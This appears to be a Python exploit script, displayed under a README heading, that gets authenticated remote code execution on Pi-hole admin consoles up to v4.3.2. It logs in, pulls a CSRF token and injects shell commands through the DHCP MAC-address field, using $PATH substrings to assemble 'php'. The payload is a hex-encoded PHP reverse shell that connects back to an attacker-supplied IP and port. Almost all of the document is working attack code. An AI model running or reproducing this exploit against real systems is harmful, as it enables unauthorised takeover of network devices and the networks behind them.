README.md
Rendering markdown...
import argparse
import codecs
import re
import requests
import socket
import uuid
from packaging import version
def login(session, url, password):
print('Logging in...')
login_error = 'After installing Pi-hole for the first time'
data = {'pw': password}
try:
login_response = session.post(url+'/admin/index.php?login', data=data)
except requests.exceptions.ConnectionError:
exit('Unable to connect to server')
if login_error in login_response.text:
print('Login failed')
return False
else:
print('Login succeeded')
return True
def grab_version(session, url):
try:
response = session.get(url+'/admin/')
except requests.exceptions.ConnectionError:
exit('Unable to connect to server')
try:
version = response.text.split('Web Interface Version </b>')[1].split('<b>')[0].strip()
return version
except IndexError:
# default to returning a vulnerable version so the script attempts an exploit
return 'v4.3.2'
def get_token(session, url):
try:
response = session.get(url+'/admin/settings.php?tab=piholedhcp')
except:
exit('Unable to connect to server')
try:
return response.text.split('token\' hidden>')[1].split('</div>')[0]
except IndexError:
exit('Unable to retrieve CSRF token')
def add_dhcp(session, url, payload, token):
data = {'AddMAC': payload,
'AddIP': '',
'AddHostname': str(uuid.uuid4()),
'addstatic': '',
'field': 'DHCP',
'token': token}
try:
return session.post(url+'/admin/settings.php?tab=piholedhcp', data=data).text
except requests.exceptions.ConnectionError:
exit('Unable to connect to server')
def is_vulnerable(session, url, password):
print('Attempting to verify if Pi-hole version is vulnerable')
if version.parse(grab_version(session, url)) > version.parse('v4.3.2'):
return (False, False)
else:
if not login(session, url, password):
exit(-1)
print('Grabbing CSRF token')
token = get_token(session, url)
print('Attempting to read $PATH')
test = add_dhcp(session, url, 'aaaaaaaaaaaa$PATH', token)
if '/opt/pihole' in test:
return (True, True, token)
elif 'AAAAAAAAAAAA/' in test:
return (True, False)
else:
return (False, False)
def exploit(session, url, payload, token):
w = 'W=${PATH#/???/}'
p = 'P=${W%%?????:*}'
x = 'X=${PATH#/???/??}'
h = 'H=${X%%???:*}'
z = 'Z=${PATH#*:/??}'
r = 'R=${Z%%/*}'
hex_payload = ''.join(codecs.encode(c.encode(), 'hex').decode('utf-8').upper() for c in payload)
injection = '&&' + w + '&&' + p + '&&' + x + '&&' + h + '&&' + z + '&&' + r + '&&$P$H$P$IFS-$R$IFS\'EXEC(HEX2BIN("' + hex_payload + '"));\'#'
print('Sending payload')
add_dhcp(session, url, 'bbbbbbbbbbbb' + injection, token)
def is_valid_url(url):
url_regex = re.compile(r'^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)$')
if url_regex.match(url) != None:
return True
else:
return False
def is_valid_ipv4_address(address):
try:
socket.inet_pton(socket.AF_INET, address)
except AttributeError:
try:
socket.inet_aton(address)
except socket.error:
return False
return address.count('.') == 3
except socket.error:
return False
return True
def is_valid_ipv6_address(address):
try:
socket.inet_pton(socket.AF_INET6, address)
except socket.error:
return False
return True
def is_valid_port(port):
try:
return 1 <= int(port) <= 65535
except ValueError:
return False
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Receive a reverse shell on a Pi-hole with access to the admin web console')
parser.add_argument('url', metavar='url', type=str, help='The URL of the Pi-hole console')
parser.add_argument('pw', metavar='password', type=str, help='The admin password for the Pi-hole console')
parser.add_argument('ip', metavar='ip', type=str, help='The IP address for the reverse shell to connect to')
parser.add_argument('port', metavar='port', type=str, help='The port for the reverse shell to connect to')
args = parser.parse_args()
if not is_valid_url(args.url):
exit('Invalid URL')
elif not is_valid_ipv4_address(args.ip) and not is_valid_ipv6_address(args.ip):
exit('Invalid IP')
elif not is_valid_port(args.port):
exit('Invalid port')
shell = 'php -r \'$sock=fsockopen("' + args.ip + '",' + args.port + ');exec("/bin/sh -i <&3 >&3 2>&3");\''
s = requests.Session()
test = is_vulnerable(s, args.url, args.pw)
if test[0]:
if test[1]:
print('Pihole is vulnerable and served\'s $PATH allows PHP')
exploit(s, args.url, shell, test[2])
else:
print('Pihole is vulnerable but can\'t build PHP from server\'s $PATH for RCE :(')
else:
print('Pihole isn\'t vulnerable :(')